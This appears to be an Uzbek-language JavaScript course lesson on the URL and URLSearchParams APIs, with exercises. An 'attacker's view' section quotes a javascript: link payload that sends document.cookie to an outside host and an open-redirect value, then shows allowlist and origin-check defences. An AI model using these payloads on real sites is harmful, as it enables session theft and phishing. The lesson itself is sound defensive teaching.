IlmHamroh
JavaScript Full-stack/11-qism. Asinxron JavaScript va tarmoq29/32-dars19 daqiqa
Mundarija (37)

JavaScript URL va URLSearchParams: manzilni xatosiz o'qish va yig'ish

Qisqacha: new URL("https://ilmhamroh.uz/api/mashq/menyu?turkum=taom") manzilni obyektga aylantiradi: url.hostname, url.pathname, url.searchParams.get("turkum") — har qism alohida. Parametr qo'shish — url.searchParams.set("sahifa", 2): maxsus belgilarni (&, bo'sh joy, ') u o'zi kodlaydi. Manzilni satrlarni + bilan yopishtirib yig'mang — URL va URLSearchParams bu ishni xatosiz qiladi. Noto'g'ri manzil TypeError beradi; oldindan tekshirish — URL.canParse().

Bu darsda

  • URL obyekti bilan manzilning hamma qismini o'qiysiz va o'zgartirasiz.
  • Nisbiy manzilni asos (base) bilan to'liq manzilga aylantirasiz va oxiridagi / tuzog'ini bilasiz.
  • URLSearchParams bilan so'rov parametrlarini o'qiysiz, qo'shasiz, o'chirasiz va aylanib chiqasiz.
  • encodeURIComponent, encodeURI va URLSearchParams kodlashi farqini tushuntira olasiz.
  • Foydalanuvchi bergan manzilni URL.canParse/URL.parse bilan tekshirasiz va xavfli manzillarni to'sasiz.

Oldin bilishingiz kerak: URL anatomiyasi, fetch asoslari, FormData, try / catch / finally.

1. Nega bu kerak?

Sardor «Bahor» menyusi uchun qidiruv yozyapti. Mehmon turkum va so'z tanlaydi, kod esa mashq API'ga so'rov yuboradi. Birinchi urinish:

js
const turkum = "ichimlik";
const soz = "Ko'k choy & non";
const asos = "https://ilmhamroh.uz/api/mashq/menyu";
const manzil = asos + "?turkum=" + turkum + "&q=" + soz;
console.log(manzil);

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu?turkum=ichimlik&q=Ko'k choy & non

Ko'zga to'g'ri ko'rinadi. Lekin server buni qanday o'qiydi? & — parametrlarni ajratuvchi belgi. Server q ni "Ko'k choy " deb oladi, " non" esa qiymatsiz alohida parametr bo'lib qoladi. URL anatomiyasi darsida xuddi shu muammoni ko'rib, "set & ni o'zi %26 qiladi, buni keyin to'liq o'rganamiz" degan edik.

Qo'lda yig'ilgan manzil — eng ko'p uchraydigan mayda xatolardan biri. Bugun manzilni obyekt sifatida o'qish va yig'ishni o'rganamiz. Xuddi pochta konvertidagi kabi: shahar, ko'cha, uy — har biri o'z katagida. Bitta uzun satrda "qayeri ko'cha, qayeri uy?" deb taxmin qilish shart emas.

2. URL obyekti

2.1 Manzilni qismlarga ajratish

URL — manzilni tahlil qilib, uning har qismini xususiyat sifatida beradigan global klass. U brauzerda ham, Node'da ham bor va bir xil ishlaydi. Sababi — ikkalasi ham bitta qoidalar to'plamiga amal qiladi: WHATWG URL standarti (WHATWG — brauzer ishlab chiqaruvchilarining umumiy guruhi).

js
const url = new URL(
  "https://ilmhamroh.uz:443/api/mashq/menyu" +
    "?turkum=taom&sahifa=2#natija",
);
console.log(url.href);
console.log(url.protocol); // https:
console.log(url.hostname); // ilmhamroh.uz
console.log(url.port === ""); // true
console.log(url.pathname); // /api/mashq/menyu
console.log(url.search); // ?turkum=taom&sahifa=2
console.log(url.hash); // #natija
console.log(url.origin); // https://ilmhamroh.uz

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2#natija
https:
ilmhamroh.uz
true
/api/mashq/menyu
?turkum=taom&sahifa=2
#natija
https://ilmhamroh.uz

Qismlar va ularning nomi:

flowchart LR
  H["href — butun manzil"] --> P["protocol<br/>https:"]
  H --> HO["host<br/>ilmhamroh.uz"]
  H --> PA["pathname<br/>/api/mashq/menyu"]
  H --> S["search<br/>?turkum=taom&sahifa=2"]
  H --> HA["hash<br/>#natija"]
  HO --> O["origin = protocol + host"]
  P --> O

Nimaga qarang: origin — alohida qism emas, protokol va host'dan yig'iladi. Origin darsidagi "sxema + host + port" aynan shu.

E'tibor bering: :443 yo'qoldi va port bo'sh satr. HTTPS uchun 443 — standart port, va URL uni yozmaydi. Port standart bo'lmasa (:5500), port — "5500" va u host ga ham qo'shiladi: host — 127.0.0.1:5500, hostname — faqat 127.0.0.1.

2.2 URL manzilni tozalaydi

URL manzilni standart shaklga keltiradi — buni normallashtirish deyishadi. Xuddi telefon raqamini "+998 90 000 00 00" ko'rinishiga keltirish kabi: yozilishi har xil, ma'nosi bitta.

js
const url = new URL("HTTPS://Example.COM/taomlar/../menyu?q=a b");
console.log(url.href); // https://example.com/menyu?q=a%20b

Protokol va host kichik harfga o'tdi, taomlar/../ qisqardi, bo'sh joy esa %20 bo'ldi. Ikki xil yozilgan bir manzilni solishtirishdan oldin ikkalasini new URL(...).href dan o'tkazish — ishonchli usul.

2.3 Qismni o'zgartirish

Xususiyatlar faqat o'qish uchun emas — ularga yozsa ham bo'ladi va href o'zi yangilanadi:

js
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu?q=osh");
url.pathname = "/api/mashq/menyu/3";
url.search = "";
url.hash = "tafsilot";
console.log(url.href);
console.log(String(url) === url.href); // true

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu/3#tafsilot
true

String(url) (yoki shablon satrdagi ${url}) — href bilan bir xil. So'rov yuborishda fetch ga satr o'rniga URL obyektining o'zini ham berish mumkin: fetch(url).

URL obyektini JSON'ga ham to'g'ridan-to'g'ri berish mumkin — uning toJSON metodi bor va u href ni qaytaradi:

js
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu/2");
console.log(JSON.stringify({ manzil: url }));

Konsolda:

text
{"manzil":"https://ilmhamroh.uz/api/mashq/menyu/2"}

Bu JSON chuqur darsidagi toJSON qoidasi: stringify obyektning o'zini emas, toJSON() natijasini yozadi. Manzilni localStorage ga saqlaganda ham shunday satr tushadi; o'qiganda uni yana new URL(...) dan o'tkazasiz.

2.4 Brauzerdagi tayyor manzillar

Brauzerda URL ga o'xshash obyektlar allaqachon bor — ularni qayta yasash shart emas:

  • location — joriy sahifaning manzili. Unda ham href, pathname, search, hash, origin bor. Faqat searchParams yo'q: new URLSearchParams(location.search) yoki new URL(location.href).searchParams. To'liq — keyingi darsda.
  • <a> elementi — havola.hostname, havola.pathname, havola.search kabi xususiyatlarga ega. Muhim farq: havola.href — to'liq (yechilgan) manzil, havola.getAttribute("href") esa HTML'da yozilganidek, nisbiy holicha. Atributlar va xususiyatlar darsidagi "atribut va xususiyat har xil" qoidasi shu yerda ham.
  • document.baseURI — nisbiy manzillar qaysi asosga nisbatan yechilishi. Odatda u sahifa manzili bilan bir xil.

Shuning uchun "havola boshqa saytgami?" savoli brauzerda bir qator: havola.origin !== location.origin. Keyingi darsdagi router aynan shu tekshiruvdan foydalanadi.

Yana bitta yaqin qarindosh — URL.createObjectURL(fayl). U kompyuterdagi faylga vaqtinchalik blob: manzil beradi, masalan rasmni yuklashdan oldin ko'rsatish uchun. Uni Faylni o'qish va oldindan ko'rish darsida ishlatamiz — hozir bilish shart emas.

Tekshirib ko'ring: new URL("http://127.0.0.1:5500/index.html") uchun host va hostname nima?

Javob

host — 127.0.0.1:5500, hostname — 127.0.0.1. Port standart emas (HTTP uchun standart — 80), shuning uchun u host ga kiradi. Xususiyat hostname esa doim portsiz.

3. Nisbiy manzil va asos (base)

3.1 Ikkinchi argument

URL anatomiyasi darsida nisbiy manzillarni ko'rgan edik: menyu.html, /menyu, ../rasm.png. Ular qaysi sahifada turganiga qarab har xil to'liq manzilga aylanadi. Konstruktorning ikkinchi argumenti — aynan shu "qayerda turibmiz" (asos, base):

js
const asos = "https://ilmhamroh.uz/api/mashq/";
console.log(new URL("menyu", asos).href);
console.log(new URL("/menyu", asos).href);
console.log(new URL("menyu?sahifa=2", asos).href);
console.log(new URL("../holat/404", asos + "menyu").href);
console.log(new URL("//example.com/x", asos).href);

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu
https://ilmhamroh.uz/menyu
https://ilmhamroh.uz/api/mashq/menyu?sahifa=2
https://ilmhamroh.uz/api/holat/404
https://example.com/x
  • menyu — asosning papkasiga qo'shildi.
  • /menyu — / bilan boshlangan: host'ning ildizidan.
  • ../ — bir papka yuqoriga: menyu ning papkasi /api/mashq/, undan yuqorisi /api/.
  • //example.com/x — protokolsiz, lekin host bilan: butunlay boshqa sayt! Foydalanuvchi bergan "nisbiy" manzilga ishonmaslik sababi shu (bu haqda "Hujumchi nigohi" da).

Brauzerda asos ko'pincha joriy sahifa: new URL("menyu", location.href). Joriy sahifa manzili (location) — keyingi darsda.

3.2 Oxiridagi / tuzog'i

Shu ikki qatorning farqiga qarang:

js
console.log(new URL("menyu", "https://ilmhamroh.uz/api/mashq").href);
console.log(new URL("menyu", "https://ilmhamroh.uz/api/mashq/").href);

Konsolda:

text
https://ilmhamroh.uz/api/menyu
https://ilmhamroh.uz/api/mashq/menyu

Oxirida / bo'lmasa, mashq fayl deb tushuniladi va almashtiriladi — xuddi index.html yonidagi menyu.html kabi. Oxirida / bo'lsa — papka va menyu uning ichiga kiradi.

API klientda asos manzilni (asosiyUrl) saqlaganda — doim oxirida / bilan saqlang yoki new URL(...) o'rniga yo'llarni o'zingiz qo'shing. API klient qatlami darsida asosiyUrl bilan ishlagansiz — xatoni topish qiyin bo'lgan 404'larning bir qismi aynan shu / dan.

4. Noto'g'ri manzil

4.1 TypeError: Invalid URL

URL nisbiy manzilni asossiz qabul qilmaydi va xato tashlaydi:

js
new URL("ilmhamroh.uz/menyu");
text
TypeError: Invalid URL

Node'da xato obyektida yana ikki xususiyat bor: code — ERR_INVALID_URL, input — ilmhamroh.uz/menyu. Chrome'da xabar biroz boshqacha: Failed to construct 'URL': Invalid URL ("URL ni yasab bo'lmadi: noto'g'ri URL"). Nega ilmhamroh.uz/menyu noto'g'ri? Unda protokol yo'q — URL uchun bu nisbiy yo'l, asos esa berilmagan.

Foydalanuvchi kiritgan matnni URL ga berganda xato doim mumkin. Eski usul — try/catch:

js
function manzilmi(matn) {
  try {
    new URL(matn);
    return true;
  } catch {
    return false;
  }
}
console.log(manzilmi("https://example.com")); // true
console.log(manzilmi("example.com")); // false

4.2 URL.canParse va URL.parse

Yangi brauzerlarda buning uchun tayyor statik metodlar bor:

js
console.log(URL.canParse("example.com")); // false
console.log(URL.canParse("menyu", "https://ilmhamroh.uz")); // true

const url = URL.parse("https://example.com/menyu?id=3");
console.log(url.searchParams.get("id")); // 3
console.log(URL.parse("::")); // null
  • URL.canParse(manzil, asos?) — true yoki false. Faqat tekshiradi.
  • URL.parse(manzil, asos?) — tayyor URL obyekti, noto'g'ri bo'lsa — xato o'rniga null.

web-features ma'lumotiga ko'ra: URL.canParse — Baseline, keng tarqalgan (2023-12 dan hamma asosiy brauzerlarda: Chrome 120, Firefox 115, Safari 17). Metod URL.parse esa — Baseline 2024 (Chrome 126, Firefox 126, Safari 18). Node 24 da ikkalasi ham bor. Eski brauzerlarni qo'llash kerak bo'lsa — try/catch varianti.

Tekshirib ko'ring: URL.canParse("tel:+998900000000") nima qaytaradi?

Javob

true. tel: — to'g'ri protokol (telefon havolasi). URL faqat sintaksisni tekshiradi, "bu veb-sahifami" degan savolga javob bermaydi. Faqat http/https kerak bo'lsa — url.protocol ni alohida tekshiring.

5. URLSearchParams: so'rov parametrlari

5.1 O'qish

URLSearchParams — manzilning ? dan keyingi qismini "kalit — qiymat" ro'yxati sifatida boshqaradigan obyekt. Har URL da u tayyor turadi: url.searchParams. Mustaqil ham yaratsa bo'ladi:

js
const p = new URLSearchParams("?taom=osh&taom=manti&soni=2");
console.log(p.get("taom")); // osh
console.log(p.getAll("taom")); // [ 'osh', 'manti' ]
console.log(p.get("yoq")); // null
console.log(p.has("soni")); // true
console.log(p.size); // 3
console.log(p.get("soni") + 1); // 21
  • get(nom) — birinchi qiymat yoki null.
  • getAll(nom) — bir nomdagi hamma qiymat (massiv). URL'da bir nom bir necha marta kelishi mumkin.
  • has(nom), size — bormi va nechta juftlik.
  • Oxirgi qatorga qarang: qiymatlar doim satr. Ya'ni "2" + 1 — "21". Xuddi localStorage dagi kabi: son kerak bo'lsa — Number(...).

Boshidagi ? ni o'zi tashlab yuboradi — location.search ni to'g'ridan-to'g'ri bersangiz ham bo'ladi.

5.2 O'zgartirish

js
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
const p = url.searchParams;
p.set("turkum", "taom");
p.set("sahifa", 2);
p.append("hajm", "2");
console.log(url.href);
p.set("sahifa", 1);
p.delete("hajm");
console.log(url.search); // ?turkum=taom&sahifa=1

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2&hajm=2
?turkum=taom&sahifa=1
  • set(nom, qiymat) — bor bo'lsa almashtiradi (hammasini bitta qiymatga), yo'q bo'lsa qo'shadi.
  • append(nom, qiymat) — har doim qo'shadi (takroriy nom ham).
  • delete(nom) — shu nomdagi hammasini o'chiradi.

url.searchParams va url bog'langan: parametr o'zgarsa, url.href ham darhol o'zgaradi. Son (2) satrga aylandi — URL'da hamma narsa matn.

Qadamma-qadam ko'ring — har qatordan keyin parametrlar qanday o'zgaradi:

5.3 Yaratish va aylanib chiqish

URLSearchParams ni to'rt xil manbadan yasash mumkin — satr, obyekt, juftliklar massivi yoki forma:

js
const obyektdan = new URLSearchParams({ turkum: "taom", sahifa: 2 });
console.log(obyektdan.toString()); // turkum=taom&sahifa=2

const juftlar = [["taom", "osh"], ["taom", "manti"]];
const juftlardan = new URLSearchParams(juftlar);
console.log(String(juftlardan)); // taom=osh&taom=manti

for (const [nom, qiymat] of new URLSearchParams("b=2&a=1")) {
  console.log(nom, qiymat);
}

const tartibli = new URLSearchParams("b=2&a=1&c=0");
tartibli.sort();
console.log(String(tartibli)); // a=1&b=2&c=0
console.log(Object.fromEntries(new URLSearchParams("a=1&a=2&b=3")));

Konsolda:

text
turkum=taom&sahifa=2
taom=osh&taom=manti
b 2
a 1
a=1&b=2&c=0
{ a: '2', b: '3' }

Ikki ogohlantirish:

  • Obyektdan yasaganda undefined qiymat "undefined" satri bo'lib ketadi: { bor: undefined } → bor=undefined. Bo'sh qiymatlarni oldindan olib tashlang (2-mashq).
  • Object.fromEntries takroriy nomlarning oxirgisini qoldiradi — a=1 yo'qoldi. Takroriy nomlar bo'lishi mumkin bo'lsa, getAll ishlating.

Brauzerda formadan to'g'ridan-to'g'ri ham yasaladi: new URLSearchParams(new FormData(forma)). Buni FormData darsida ko'rgan edik — endi qolgan metodlarni ham bilasiz. Metod sort() esa parametrlarni nom bo'yicha tartiblaydi. Nega kerak? ?a=1&b=2 va ?b=2&a=1 — bir xil so'rov, lekin satr sifatida har xil. Tartiblangandan keyin ikkalasi bitta satrga aylanadi — masalan, javoblarni shu satr bo'yicha keshlasangiz.

5.4 Qachon URL, qachon faqat URLSearchParams

Ikkalasi ham kerak, lekin vazifasi har xil:

  • Butun manzil bilan ishlasangiz (host, yo'l va parametrlar birga) — URL, parametrlar esa uning searchParams ida. Asosiy holat shu.
  • Faqat parametrlar kerak bo'lsa — mustaqil URLSearchParams. Masalan, location.search ni o'qish yoki formani application/x-www-form-urlencoded ko'rinishida yuborish.

Ikkinchisini fetch bilan ma'lumot yuborish darsida ko'rgansiz: body: new URLSearchParams({ ism: "Dilshod aka", soni: 4 }). Bunda fetch Content-Type sarlavhasini o'zi qo'yadi — application/x-www-form-urlencoded;charset=UTF-8. Tana esa xuddi URL parametrlari kabi kodlanadi: ism=Dilshod+aka&soni=4.

Bitta ehtiyot chorasi: url.search ga to'g'ridan-to'g'ri satr yozsangiz, searchParams ham yangilanadi — ular bog'langan. Lekin satrni qo'lda yig'ib yozish yana "Nega bu kerak?" bo'limidagi xatoga olib keladi. Shuning uchun url.search ga faqat ikki narsa yoziladi: bo'sh satr (hammasini tozalash) yoki tayyor URLSearchParams dan olingan satr.

Tekshirib ko'ring: const p = new URLSearchParams("taom=osh"); p.set("taom", "manti"); p.append("taom", "somsa"); — p.getAll("taom") nima?

Javob

["manti", "somsa"]. set mavjud osh ni manti bilan almashtirdi, append esa yonida yana bittasini qo'shdi. get("taom") esa faqat birinchisini — "manti" ni beradi.

6. Kodlash: encodeURIComponent, encodeURI va +

6.1 Uch xil vosita

URL anatomiyasi darsida percent-encoding'ni ko'rgan edik: maxsus belgi % va ikki belgili kodga aylanadi. JavaScript'da buning uch yo'li bor:

js
const matn = "Ko'k choy & non";
console.log(encodeURIComponent(matn));
console.log(encodeURI("https://example.com/menyu?q=" + matn));
console.log(new URLSearchParams({ q: matn }).toString());

Konsolda:

text
Ko'k%20choy%20%26%20non
https://example.com/menyu?q=Ko'k%20choy%20&%20non
q=Ko%27k+choy+%26+non
Vosita Nima uchun &, ?, / Bo'sh joy
encodeURIComponent Bitta qism (qiymat, yo'l bo'lagi) kodlanadi %20
encodeURI Butun manzil kodlanmaydi %20
URLSearchParams So'rov parametrlari kodlanadi +

Ikkinchi qatordagi xatoga qarang: encodeURI & ni tegmasdan qoldirdi — u butun manzil "allaqachon to'g'ri tuzilgan" deb hisoblaydi. Shuning uchun u bitta qiymatni kodlashga yaramaydi va amalda kam ishlatiladi. Qiymat — encodeURIComponent yoki URLSearchParams.

6.2 + tuzog'i

URLSearchParams bo'sh joyni + qiladi — HTML formalari shunday yuboradi. Teskari yo'lda esa vositalar har xil:

js
console.log(decodeURIComponent("Ko%27k+choy")); // Ko'k+choy
const parametr = new URLSearchParams("q=Ko%27k+choy");
console.log(parametr.get("q")); // Ko'k choy

decodeURIComponent + ni bo'sh joy deb bilmaydi. Qoida sodda: qaysi vosita bilan kodlagan bo'lsangiz, o'shaning jufti bilan o'qing. Parametrlar uchun — doim URLSearchParams.

Tekshirib ko'ring: new URLSearchParams("q=Ko'k choy & non").get("q") nima qaytaradi?

Javob

"Ko'k choy " — oxirida bo'sh joy bilan. Satr kodlanmagan, shuning uchun & ajratuvchi deb o'qildi va " non" alohida parametr bo'lib qoldi. "Nega bu kerak?" bo'limidagi serverda bo'lgan voqea aynan shu.

7. Amalda: mashq API'ga so'rov

Endi «Nega bu kerak?» dagi qidiruvni to'g'ri yozamiz va «Bahor» mashq API'siga haqiqiy so'rov yuboramiz:

js
function menyuManzili(sozlama) {
  const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
  for (const [nom, qiymat] of Object.entries(sozlama)) {
    url.searchParams.set(nom, qiymat);
  }
  return url;
}

const url = menyuManzili({ turkum: "taom", sahifa: 2, hajm: 2 });
console.log(url.href);

const javob = await fetch(url);
const malumot = await javob.json();
console.log(malumot.elementlar.map((t) => t.nom), malumot.jami);

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2&hajm=2
[ 'Manti' ] 3

fetch ga URL obyektining o'zi berildi. Server 3 ta taomni ikkitadan sahifalab, ikkinchi sahifada Manti ni qaytardi. Qiymatlarda & yoki ' bo'lsa ham, kod buzilmaydi — kodlashni searchParams qiladi.

Hujumchi nigohi

1-hujum — javascript: havola. Profil sahifasida mehmon o'z saytini yozadi va u havola bo'lib chiqadi. Hujumchi javascript:fetch("https://example.com/?c="+document.cookie) yozadi. Kimdir bossa — kod sizning saytingizda ishlaydi. Konstruktor URL buni "to'g'ri manzil" deb qabul qiladi: protokoli javascript:. Himoya: protokolni oq ro'yxat bilan tekshiring:

js
function xavfsizHavola(matn) {
  const url = URL.parse(matn);
  if (url === null) {
    return null;
  }
  return ["https:", "http:"].includes(url.protocol) ? url.href : null;
}
console.log(xavfsizHavola("https://example.com/menyu"));
console.log(xavfsizHavola("JavaScript:alert(1)")); // null
console.log(xavfsizHavola("example.com")); // null

Konsolda:

text
https://example.com/menyu
null
null

URL protokolni kichik harfga keltiradi — JavaScript: ham javascript: bo'lib tekshiriladi. Satrni startsWith("javascript") bilan qo'lda tekshirish esa bunday hiylalarni (katta harf, boshidagi bo'sh joy) o'tkazib yuboradi. XSS'ning boshqa yo'llari — XSS va DOM xavfsizligi darsida.

2-hujum — ochiq yo'naltirish (open redirect). Kirish sahifasi ?keyin=/bronlar parametrini oladi va kirgandan keyin o'sha yerga yuboradi. Hujumchi ?keyin=//example.com/soxta-kirish havolasini tarqatadi. Havola sizning domeningizda — odamlar ishonadi. Kirgandan keyin esa ular soxta saytga tushadi. Himoya: manzilni joriy sahifaga nisbatan yechib, origin ni solishtiring:

js
function ichkiManzil(keyin, joriy) {
  const url = URL.parse(keyin, joriy);
  if (url === null || url.origin !== new URL(joriy).origin) {
    return "/";
  }
  return url.pathname + url.search + url.hash;
}
const joriy = "https://ilmhamroh.uz/kirish";
console.log(ichkiManzil("/bronlar?sana=bugun", joriy));
console.log(ichkiManzil("//example.com/soxta-kirish", joriy));
console.log(ichkiManzil("https://example.com", joriy));

Konsolda:

text
/bronlar?sana=bugun
/
/

//example.com/... — "nisbiy"ga o'xshaydi, lekin URL uni boshqa host deb to'g'ri yechdi va origin farq qildi. Brauzerda joriy o'rniga location.href qo'yiladi.

8. Ko'p uchraydigan xatolar

8.1 Manzilni + bilan yig'ish

"...?q=" + soz — &, #, +, bo'sh joy bo'lsa manzil buziladi. Tuzatish: url.searchParams.set("q", soz).

8.2 Asos manzil oxirida / yo'q

new URL("menyu", "https://.../api/mashq") — mashq yo'qoladi. Tuzatish: asos papka bo'lsa — oxirida /.

8.3 Parametrni son deb o'ylash

searchParams.get("sahifa") + 1 — "21". Tuzatish: Number(...) va Number.isInteger bilan tekshirish; noto'g'ri bo'lsa — standart qiymat.

8.4 decodeURIComponent bilan formadan kelgan matnni o'qish

+ bo'sh joyga aylanmaydi. Tuzatish: parametrlar — URLSearchParams bilan o'qiladi.

8.5 Foydalanuvchi manzilini tekshirmasdan ishlatish

new URL(matn) xato tashlaydi, javascript: esa xatosiz o'tadi. Tuzatish: URL.parse + protokolni oq ro'yxat bilan tekshirish.

9. Mashqlar

1-mashq (oson): Manzil kartochkasi

manzilniTahlilQil(matn) funksiyasi {host, yol, parametrlar} obyektini qaytarsin: parametrlar — oddiy obyekt. Noto'g'ri manzil uchun — null. Sinov: "https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=1".

Yechim
js
function manzilniTahlilQil(matn) {
  const url = URL.parse(matn);
  if (url === null) {
    return null;
  }
  return {
    host: url.host,
    yol: url.pathname,
    parametrlar: Object.fromEntries(url.searchParams),
  };
}

console.log(manzilniTahlilQil(
  "https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=1",
));
console.log(manzilniTahlilQil("ilmhamroh.uz")); // null

Konsolda:

text
{
  host: 'ilmhamroh.uz',
  yol: '/api/mashq/menyu',
  parametrlar: { turkum: 'taom', sahifa: '1' }
}
null

Object.fromEntries(url.searchParams) — searchParams ni to'g'ridan-to'g'ri bersa bo'ladi: u [nom, qiymat] juftlarini beradigan iterable (Iteratsiya protokoli). sahifa — '1', satr.

2-mashq (o'rta): Bo'sh qiymatlarsiz manzil

menyuManzili ni yaxshilang: undefined, null yoki "" qiymatli parametrlar URL'ga tushmasin, massiv qiymat esa ({ taom: ["osh", "manti"] }) har biri alohida append qilinsin. Sinov: { turkum: "taom", q: "", sahifa: undefined, taom: ["osh", "manti"] }.

Yechim
js
function menyuManzili(sozlama) {
  const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
  for (const [nom, qiymat] of Object.entries(sozlama)) {
    if (qiymat === undefined || qiymat === null || qiymat === "") {
      continue;
    }
    if (Array.isArray(qiymat)) {
      qiymat.forEach((q) => url.searchParams.append(nom, q));
    } else {
      url.searchParams.set(nom, qiymat);
    }
  }
  return url.href;
}

console.log(menyuManzili({
  turkum: "taom", q: "", sahifa: undefined, taom: ["osh", "manti"],
}));

Konsolda:

text
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&taom=osh&taom=manti

0 va false ataylab o'tkazib yuborilmaydi — ular ma'noli qiymat (sahifa=0, issiq=false). Shuning uchun if (!qiymat) emas, uchta aniq tekshiruv.

3-mashq (qiyin): Kuzatuv parametrlarini tozalash

Telegram va Instagram'dan kelgan havolalarda ko'pincha utm_source, utm_medium, fbclid kabi kuzatuv parametrlari bo'ladi. Sizning havolaniTozala(matn) funksiyangiz utm_ bilan boshlanadigan va fbclid parametrlarini olib tashlasin, qolganini nom bo'yicha tartiblasin va hash ni saqlasin. Ishora: aylanayotgan to'plamdan o'chirish xavfli — avval o'chiriladigan nomlarni massivga yig'ing.

Yechim
js
function havolaniTozala(matn) {
  const url = new URL(matn);
  const ortiqcha = [...url.searchParams.keys()].filter(
    (nom) => nom.startsWith("utm_") || nom === "fbclid",
  );
  for (const nom of ortiqcha) {
    url.searchParams.delete(nom);
  }
  url.searchParams.sort();
  return url.href;
}

console.log(havolaniTozala(
  "https://example.com/menyu?utm_source=telegram&turkum=taom" +
    "&fbclid=abc&sahifa=2&utm_medium=post#osh",
));
console.log(havolaniTozala("https://example.com/?utm_source=x"));

Konsolda:

text
https://example.com/menyu?sahifa=2&turkum=taom#osh
https://example.com/

Hamma parametr o'chsa, ? ham o'zi yo'qoladi — qo'lda kesib tashlash shart emas. Metod keys() iterator qaytaradi, [...] uni massivga aylantiradi (Iteratsiya protokoli) — shundan keyin o'chirish aylanishga xalaqit bermaydi.

Faylni kurs/mashqlar/11/29-url/tozala.mjs ga saqlang:

bash
git add 11/29-url/tozala.mjs
git commit -m "11/29: kuzatuv parametrlarini tozalash"

4-mashq: Vazifalar qadami — filtr URL'dan o'qiladi

Hozir vazifalar da filtr faqat xotirada: "Faol" ni tanlab, sahifani yangilasangiz — yana "Hammasi". Do'stingizga "mana bajarilganlarim" deb havola ham yubora olmaysiz. Ikki darsda filtrni URL'ga ko'chiramiz: https://login.github.io/vazifalar/?filtr=faol. Bugun — o'qish qismi.

  1. Yangi branch: git switch -c feature/url-filtr.
  2. Yangi modul assets/js/marshrut.js va unda filtrniOl(): ?filtr= parametrini o'qisin. Qiymat hammasi, faol yoki bajarilgan bo'lsa — o'sha, aks holda (?filtr=xyz, parametr yo'q) — "hammasi".
  3. asosiy.js — ishga tushishda holat.filtr = filtrniOl() va undan keyin render().
  4. index.html — marshrut.js uchun modulepreload.

Ishora: funksiyaga ixtiyoriy parametr bering — filtrniOl(manzil = location.href). Brauzerda argumentsiz chaqiriladi, Node'da esa istalgan manzil bilan sinash mumkin (Parametrlar va default qiymatlar).

Yechim

assets/js/marshrut.js:

js
// marshrut.js — filtr holati URL'da: ?filtr=faol
const FILTRLAR = ["hammasi", "faol", "bajarilgan"];

export function filtrniOl(manzil = location.href) {
  const filtr = new URL(manzil).searchParams.get("filtr");
  return FILTRLAR.includes(filtr) ? filtr : "hammasi";
}

const sayt = "https://login.github.io/vazifalar/";
console.log(filtrniOl(sayt + "?filtr=faol")); // faol
console.log(filtrniOl(sayt + "?filtr=constructor")); // hammasi
console.log(filtrniOl(sayt)); // hammasi

Oxirgi to'rt qator — faqat sinov uchun; faylga ularni yozmang. Standart qiymat (location.href) faqat argument berilmaganda hisoblanadi — shuning uchun Node'da (u yerda location yo'q) argument bilan chaqirish xato bermaydi.

Nega oq ro'yxat? URL — foydalanuvchi qo'li bilan o'zgartiradigan joy. Masalan, ?filtr=constructor ni tekshiruvsiz holat.filtr ga qo'ysak, boshMatnlar[holat.filtr] obyektning meros metodini qaytaradi va sahifa buziladi. Xuddi shu sababli asosiy.js dagi filtrniTanla ham Object.hasOwn bilan tekshirardi.

assets/js/asosiy.js — import va ishga tushirish:

js
import { filtrniOl } from "./marshrut.js";
// ...
// Ishga tushirish
holat.filtr = filtrniOl();
holat.vazifalar.obuna(saqlaVaChiz);
render();

marshrut.js hech narsani import qilmaydi — u faqat URL bilan ishlaydi. Grafikda u asosiy.js ning yangi "barg"i: aylana import yo'q.

Sinash (Live Server): http://127.0.0.1:5500/?filtr=bajarilgan ni oching — "Bajarilgan" tugmasi bosilgan holatda (aria-pressed="true") va ro'yxatda faqat bajarilganlar. ?filtr=xyz — "Hammasi". Filtr tugmasini bossangiz, URL hali o'zgarmaydi — buni keyingi darsda history.pushState bilan qilamiz. Shuning uchun branch'ni hozircha birlashtirmang:

bash
git add assets/js/marshrut.js assets/js/asosiy.js index.html
git commit -m "Filtr: boshlang'ich filtrni URL'dan o'qi"

10. Real ishda

  • API klientlar. Axios'da params: { turkum: "taom" } yozasiz — ichida aynan URLSearchParams ishlaydi (Axios). O'z fetch o'ramlaringizda ham manzil faqat URL bilan yig'iladi.
  • Filtr va qidiruv sahifalari. Uzum Market, OLX kabi saytlarda narx, turkum va saralash URL'da turadi (?narx_dan=...&saralash=...). Shuning uchun natijani havola bilan ulashish mumkin. React dunyosida buning uchun useSearchParams kabi vositalar bor — 17-qismda.
  • Xavfsizlik ko'rigi. javascript: havola va ochiq yo'naltirish — veb-ilovalar auditida (OWASP ro'yxatlarida) muntazam topiladigan xatolar.
  • Intervyu. "encodeURI va encodeURIComponent farqi?", "Query string'ni qanday parse qilasiz?" — ko'p beriladi; javob — URL va URLSearchParams.

Xulosa

  • new URL(manzil, asos?) — manzilni obyektga aylantiradi: protocol, host, hostname, port, pathname, search, hash, origin; yozilsa — href yangilanadi.
  • Nisbiy manzil asos bilan yechiladi; asos papka bo'lsa — oxirida /.
  • Noto'g'ri manzil — TypeError: Invalid URL; tekshirish — URL.canParse, xatosiz olish — URL.parse (null).
  • url.searchParams: get/getAll/has/set/append/delete/sort; qiymatlar doim satr.
  • Qiymat kodlash — URLSearchParams yoki encodeURIComponent; manzilni + bilan yig'mang. Foydalanuvchi manzilida protokol va origin'ni tekshiring.

Keyingi dars: location va History API: oddiy SPA router — sahifani qayta yuklamasdan manzilni o'zgartirish, «Orqaga» tugmasi bilan ishlash va bugungi filtrniOl ning jufti — filtrniYoz.

Manbalar

  • WHATWG URL Standard — url.spec.whatwg.org
  • MDN: "URL", "URLSearchParams", "URL.canParse()", "URL.parse()", "encodeURIComponent()" — developer.mozilla.org
